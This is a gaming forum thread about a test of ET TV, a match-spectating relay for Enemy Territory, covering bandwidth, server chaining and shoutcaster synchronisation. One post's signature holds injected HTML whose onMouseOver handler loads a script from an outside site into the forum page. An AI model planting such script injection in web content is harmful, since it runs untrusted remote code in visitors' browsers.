" First Test of ET TV"

Forum for discussing ET TV

Moderators: Forum moderators, developers

DG
Posts: 513
Joined: Thu Jul 24, 2003 4:16 am

" First Test of ET TV"

Post by DG »

http://www.et-center.com/?page=news&id=384
o// \\o

anyway some questions/suggestions that popped into mind (couple due to comments there), probably most are crap from getting carried away ;)

- what's bandwidth requirements going to be like, for etvt servers and clients? I'd assume host server -> ettv will be at least multiview rate needed, but what (ballpark) rate/bandwidth will be used for ettv server <--> viewers?

- will it be possible to "chain" ETTV servers? IIRC this was very useful for big events, because then you can have 1 guy sorting it and setting it up for all the games etc on a "master", so other people could just connect their ettv server to that one.

- not sure how this might be done, but maybe useful to have some way to read the sv_hostname or a banner from the host server into a public cvar, so that it is possible to have a generated "whats on" webpage or something, showing ETTV servers and what they are showing.

- when you join a server you are freefloat spectator. maybe on ettv it would automatically spec someone logged in as a shoutcaster spec. of course viewers can just right-click to jump out and and spec normally if they want.
todd`
Posts: 40
Joined: Sat May 15, 2004 5:56 pm

Post by todd` »

I have another question in addition (as ET is my first FPS and I'm unfamiliar with <insert game here>TV).

Will the ETTV client be standalone from the game itself? I'd like for a few friends to be able to spec without having to run/install the game. I assume the client will use the games engine code to run, so I guess a Mac client wouldn't be possible?
DG
Posts: 513
Joined: Thu Jul 24, 2003 4:16 am

Post by DG »

you'll need to watch through an ET client, pesumably with ettv client mod.

there is already a "standalone" way to watch games (er i think there's one works with et, cant rememebr what though), but it's basically a streaming video and hence uses a lot of bandwidth.
User avatar
Spoofeh
Posts: 296
Joined: Sat Jul 26, 2003 4:50 am

Post by Spoofeh »

DG wrote:there is already a "standalone" way to watch games (er i think there's one works with et, cant rememebr what though), but it's basically a streaming video and hence uses a lot of bandwidth.
Deo shoutcasters have been streaming some ET matches, but I assume they (and everyone else that have been doing this) will switch to ETTV once it's out.

---

I agree that it would be nice if you were able to follow the shoutcaster (so that you see what he's babbling about ;)), but being able to follow any player + freecam is a huge leap forward from WTV and enough for me (at least in the first version ;)).
No more dead camera men. :lol:
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

Cat's out of the bag, eh?

To touch on some of the questions (that I feel like disclosing answers to 8)):
  • Bandwidth usage:
    Hopefully (and probably), less than a multiview client--multiview had to seriously abuse the existing data structures to push all the data to the client, and a price was paid as far as bandwidth usage. Since we don't have the limitation in ETTV, we can do it the Right Way™, so delta compression works much, much better.
    I wasn't around when bani did the earlier live test, so I don't have hard bandwidth figures, unfortunately. I fixed some playerstate stuff (for following), so I'll hopefully be able to get better bandwidth data when that's tested.
  • Chaining:
    This is definitely planned, although it doesn't work as such yet.
  • Mod dependency:
    We've architectured things so that ETTV will, hopefully, be mod agnostic. If the ETTV master is running etpro, then ETTV spectators will run etpro; etmain with etmain; etc.
  • Shoutcasters:
    Right now, you can watch anyone on the ETTV master—including spectators. This would permit a shoutcaster to do his or her thing by connecting to the master, and players could elect to watch the shoutcaster , another player, or free-float.
    We have some interesting ideas in mind to help out with shoutcaster audio/video synchronization... We'll see where those go.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
faltytower
Posts: 49
Joined: Thu Apr 01, 2004 3:53 pm

Post by faltytower »

Rain wrote:
  • Shoutcasters:
    Right now, you can watch anyone on the ETTV master—including spectators. This would permit a shoutcaster to do his or her thing by connecting to the master, and players could elect to watch the shoutcaster , another player, or free-float.
    We have some interesting ideas in mind to help out with shoutcaster audio/video synchronization... We'll see where those go.
Why not rename it to ET Stadium :D.

Everything sounds good. Just wondering if there's any immediate plan to test it on an actual league match.
User avatar
Lagger
Posts: 316
Joined: Mon Sep 29, 2003 8:30 am

Post by Lagger »

Rain wrote:We have some interesting ideas in mind to help out with shoutcaster audio/video synchronization... We'll see where those go.
\o/
bestest feature ever, the lack of this in wtv was soo annoying.
User avatar
Spoofeh
Posts: 296
Joined: Sat Jul 26, 2003 4:50 am

Post by Spoofeh »

Well, as I think ND80 said, shoutcasters could connect to the ETTV server and shoutcast the delayed match instead of 'live'. That would pretty much solve the synchronization thing, though there may be some drawbacks that I can't think of right now. 8)
ND80
Posts: 17
Joined: Thu Sep 11, 2003 2:59 pm
Contact:

Post by ND80 »

Heh,

Sorry Rain for 'leaking' the test :-) I did ask before I posted.

We should all be very appreciative of the hard work and time that has gone into the development of ETTV. Going to be a big asset to the ET community, especially for those of us that compete in the various leagues.
User avatar
IdNotFound
Posts: 197
Joined: Wed Dec 03, 2003 8:21 pm
Location: Brazil
Contact:

Post by IdNotFound »

Maybe now we can get more focus on ET, more players, more tournaments, prizes, community, players, tournament, prizes, omg need to become a proplayer soon :D

/me wondering if he will ever be streamed on ETTV :roll:
Image nZ/IdNotFound
NaZGûL TeaM Leader
SAWL Tech Staff
Spark2
Posts: 182
Joined: Wed Sep 10, 2003 12:31 pm

Post by Spark2 »

Sauron|EFG wrote:Well, as I think ND80 said, shoutcasters could connect to the ETTV server and shoutcast the delayed match instead of 'live'. That would pretty much solve the synchronization thing, though there may be some drawbacks that I can't think of right now. 8)
One thing that came to my mind was, that it would make it hard for the shoutcaster to communicate with the admins. Maybe that wouldn't be really needed anymore, but not sure. :) Not just would it be hard to talk with the admins, it would also come delayed so probably too late if the shoutcaster has any problem. So a real synchronization solution might be even better.
This is all very exciting though, might become the best GTV for Q3 engine games ever. :) I just hope it all works out as planned.
User avatar
gotenks
Posts: 3465
Joined: Fri Nov 15, 2002 4:12 pm
Location: out of my mind
Contact:

Post by gotenks »

the shoutcaster would be on the real server, he'll be delayed so if he needs to talk to admin he does it the same as he does now, the ettv will be delayed aswell as 1. to let the specs see wht the shoutcaster is talking about and 2. so that viewers can't relay data to the people in match
My Website
Image
After a night of binge drinking:
=FF=im2good4u wrote:WTF wanst i on top ?
DG
Posts: 513
Joined: Thu Jul 24, 2003 4:16 am

Post by DG »

buffering the stream causes sc to get out of sync whichever way it's done.

someone somewhere suggested trying to get the broadcast going through ettv itself, which might be the most elegant solution but server hosts might be more than a little miffed at the bandwidth - or more specifically, paying the bandwidth for another enterprise, who may even carry adverts for a competetor...

would be cool to have a link in the HUD to which would launch the url to the shoutcast, set on the ettv server with ettv_shoutcasturl "" or something.
User avatar
WeblionX
Posts: 762
Joined: Sun Sep 08, 2002 1:03 pm
Contact:

Post by WeblionX »

Perhaps there could, in addition to free movement, be a cameraman that shows data to a different shoutcaster that would broadcast both the audio and video as a single NSV stream so there's never a problem with the audio/video synching.

In addition, it'd be easier to watch that on an actual TV, for those with that kind of setup. :o
Got any old idtech3 tutorials you made or saved? Send them my way.
>>steven!
Posts: 645
Joined: Mon Jul 12, 2004 4:00 am
Location: Merseyside, UK
Contact:

Post by >>steven! »

todd` wrote:I have another question in addition (as ET is my first FPS and I'm unfamiliar with <insert game here>TV).

Will the ETTV client be standalone from the game itself? I'd like for a few friends to be able to spec without having to run/install the game. I assume the client will use the games engine code to run, so I guess a Mac client wouldn't be possible?
if your friends have a good enough connection to watch you smoothly then they should be able to download ET pretty fast :P (and u never know they might be converted :P)
Post Reply